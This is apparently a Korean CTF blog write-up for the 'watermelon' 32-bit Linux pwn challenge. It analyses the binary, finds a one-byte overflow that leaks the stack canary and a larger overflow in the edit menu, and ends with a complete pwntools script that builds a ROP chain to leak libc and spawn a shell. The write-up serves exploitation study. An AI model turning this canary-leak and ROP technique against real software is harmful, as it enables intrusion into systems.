watermelon


먼저 이 바이너리는 32비트 리눅스용 바이너리다.


그리고 보호기법을 보니 카나리와 nx가 설정되어있다. rop로 접근하면 될 것 같다.

바이너리를 실행하면 위 처럼 먼저 name을 입력하고 메뉴를 선택한다.

이 메뉴들에 대해선 ida로 먼저 살펴봤다.


헥스레이로 main()함수를 보면 알 수 있다.

우선 v1변수에 4400바이트를 memset한다.

그리고 name으로 입력한 값은 bss영역인 0x804D7A0에 값이 들어간다. (익스플로잇 할 때 /bin/sh을 여기에 넣을 수 있겠다.)


그리고 보면 case문을 통해 메뉴를 이동할 수 있다.

먼저 4294967295는 0xffffffff다. 즉 -1이다.
-1은 메뉴로 출력되지는 않았지만 기능을 하나보다.
각각 1,2,3,4는 v1변수를 인자로 함수를 실행시킨다.

sub_80497FA()함수는 위와 같이 메뉴를 출력해주고 입력을 받는 함수다. 


우선 1번 메뉴부터 보면 


음악리스트를 추가하는 함수다.

dword_804CB88가 100이면 리스트가 꽉 찼다고 출력하고 리턴한다.

그 외엔 새로운 리스트를 추가할 수 있도록 진행된다.

근데 여기서 read()함수가 있는데.. 21바이트를 read를 하면서 1바이트의 오버플로우가 발생한다. 왜냐면 (44 * dword_804CB88 + a1 + 4)는 구조체라서 그렇다.

num[4] | music[20] | artist[20] 이렇게 되어있다. 즉 한 구조체는 44바이트를 가지고 있다.

그리고 두 번 read하는 것은 music과 artist를 받기 때문인데 둘 다 20바이트의 공간을 가지고 있으나 21바이트를 받게되면 오버플로우가 발생한다. 하지만 이걸로는 ret를 덮을 수 없다.

이 부분은 이후에 카나리를 릭할 때 필요하게 된다.


그리고 2번 메뉴는 단순히 저장된 음악 리스트를 출력해주는 함수다.


그리고 3번 메뉴를 보자.

이 메뉴는 이미 생성된 음악 리스트를 수정하는 함수다.

여기서 두번째 read()를 보면 200바이트나 수정을 한다. 즉 오버플로우를 일으킬 수 있다는 것이다.


시나리오는 먼저 1번 메뉴를 생성해 구조체의 최대 개수인 100개를 생성한 후 main()의 카나리를 릭 하고, 3번 메뉴를 실행시켜서 100번째 구조체의 artist를 수정할 때 canary부터 ret까지 덮어서 rop를 할 것이다.


우선 카나리를 구할 때 첫바이트가 널일 경우는 read에 21바이트를 입력하면 카나리가 출력이 된다.




exploit code
from pwn import *

p = process("./watermelon")
elf = ELF("./watermelon")

name = 0x804D7A0
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
pppr = 0x8048f0d
system_offset = 0x9ad60 #read - system

log.info("binary is executing...")
p.recv()
p.sendline("/bin/sh\x00")
p.recv()

log.info("looping..")
for i in range(0, 100):
	p.sendline("1")
	p.recvuntil("music")
	p.recv()
	p.sendline("A")
	p.recv()
	p.sendline("B")
	sleep(0.2)
	p.recv()
log.info("playlist is FULL!")

p.sendline("3")
p.recvuntil("100")
p.recv()
p.sendline("100")
p.recv() 
p.sendline("GGGG") # modify music
p.recv()
p.sendline("T"*20) # leak canary
p.recv()
p.sendline("2")
p.recvuntil("T"*20)
canary = u32("\x00" + p.recv().split("\x0a")[1][0:3])
log.info("leaked CANARY = {}".format(hex(canary)))

payload = "A"*20
payload += p32(canary)
payload += "A"*12

payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += "JUNK"
payload += p32(name)

log.info("Exploit..")
p.sendline("3")
p.recv()
p.recv()
log.info("sending 100")
p.recv()
p.sendline("100")
p.recv()
p.sendline("AAAA")
p.recv()
p.sendline(payload)
p.recv()
p.sendline("4")
p.recvuntil("BYE BYE\n\n")

libc_read = u32(p.recv())
log.info("libc read = {}".format(hex(libc_read)))
libc_system = libc_read - system_offset
log.info("libc system = {}".format(hex(libc_system)))

p.sendline(p32(libc_system))
p.interactive()


'CTF' 카테고리의 다른 글

EasyCTF2017 Simple ROP  (0) 2018.08.01
Def-camp warmheap  (0) 2018.07.31
CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2014 angry_doraemon  (0) 2018.07.20
CodeGate 2017 babypwn  (1) 2018.07.18

+ Recent posts